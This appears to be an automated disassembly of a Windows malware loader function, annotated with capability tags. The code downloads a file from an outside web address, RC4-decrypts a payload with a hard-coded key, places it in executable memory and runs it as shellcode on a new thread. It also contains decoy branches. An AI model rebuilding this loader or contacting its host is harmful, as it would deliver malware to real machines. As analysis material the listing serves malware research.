Function at 0x1400014a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Move file
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140080840]
xor rax, rsp
mov qword [rsp + 0x258], rax
mov ecx, 3
call fcn.140001df0
call fcn.140001b80
mov rdi, rax
test rax, rax
je 0x140001593
lea r8, [0x140077864]
lea rdx, str.1.gif
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x1400015b4
cmp qword [rsp + 0x250], 0
je 0x1400015b4
lea r8, str.http:__www.024jiacheng.com_yc.docx
mov edx, 0x2712
mov rcx, rdi
call fcn.140006030
lea r8, [0x1400010c0]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.140006030
mov r8, qword [rsp + 0x250]
mov edx, 0x2711
mov rcx, rdi
call fcn.140006030
mov rcx, rdi
call fcn.140001bf0
test eax, eax
je 0x14000157d
mov ecx, eax
call fcn.140002840
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, str.curl_easy_perform___failed:__s_n
mov rcx, rax
call fcn.140001010
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call fcn.140001b50
lea rdx, [0x1400778a0]
lea rcx, str.1.gif
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
test eax, eax
je 0x1400015e1
lea rdx, str.Error_renaming_file
jmp 0x1400015bb
lea rdx, str.Failed_to_open_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018c0
mov rcx, rax
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001894
mov qword [rsp + 0x270], rbp
lea r8, [0x1400778e8]
xor ebp, ebp
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov qword [rsp + 0x20], rbp
xor edx, edx
mov qword [rsp + 0x278], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
call fcn.1400010d0
mov rsi, rax
test rax, rax
jne 0x14000164f
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_download_payload_n
call fcn.140001010
mov eax, 1
jmp 0x140001884
movzx eax, byte [0x140077990]
mov r9d, ebp
movups xmm0, xmmword [str.thisIsA32ByteKey]
mov byte [rsp + 0x48], al
mov rcx, 0xffffffffffffffff
lea rax, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
inc rcx
cmp byte [rax + rcx], bpl
jne 0x140001675
mov r8, rbp
mov r10d, 0x100
nop word [rax + rax]
xor edx, edx
mov byte [rsp + r8 + 0x50], r9b
mov rax, r8
inc r9d
div rcx
movzx eax, byte [rsp + rdx + 0x38]
mov byte [rsp + r8 + 0x150], al
inc r8
cmp r9d, r10d
jl 0x140001690
mov edx, ebp
mov r8, rbp
nop word [rax + rax]
movzx eax, byte [rsp + r8 + 0x150]
movzx r9d, byte [rsp + r8 + 0x50]
add edx, eax
add edx, r9d
and edx, 0x800000ff
jge 0x1400016e6
dec edx
or edx, 0xffffff00
inc edx
movsxd rcx, edx
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rsp + r8 + 0x50], al
inc r8
mov byte [rsp + rcx + 0x50], r9b
sub r10, 1
jne 0x1400016c0
mov rdi, qword [rsp + 0x30]
mov r8d, ebp
mov edx, ebp
test rdi, rdi
je 0x14000177b
mov r11, rsi
mov rbx, rdi
inc edx
and edx, 0x800000ff
jge 0x14000172a
dec edx
or edx, 0xffffff00
inc edx
movsxd r9, edx
movzx r10d, byte [rsp + r9 + 0x50]
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000174c
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rsp + r9 + 0x50], al
mov byte [rsp + rcx + 0x50], r10b
movzx ecx, byte [rsp + r9 + 0x50]
add rcx, r10
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x50]
xor byte [r11], cl
inc r11
sub rbx, 1
jne 0x140001716
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400017b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.VirtualAlloc_failed__error_code:__lu_n
jmp 0x1400017ff
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000181a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.CreateThread_failed__error_code:__lu_n
mov r8d, ebx
mov rcx, rax
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x140001884
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140001d90
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
cmp r8d, 0xa
jle 0x140001871
lea rcx, str.Useless_branch_n
jmp 0x14000187d
test r8d, r8d
jns 0x140001882
lea rcx, str.Another_useless_branch_n
call fcn.140001060
xor eax, eax
mov rbp, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x258]
xor rcx, rsp
call fcn.140064c00
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret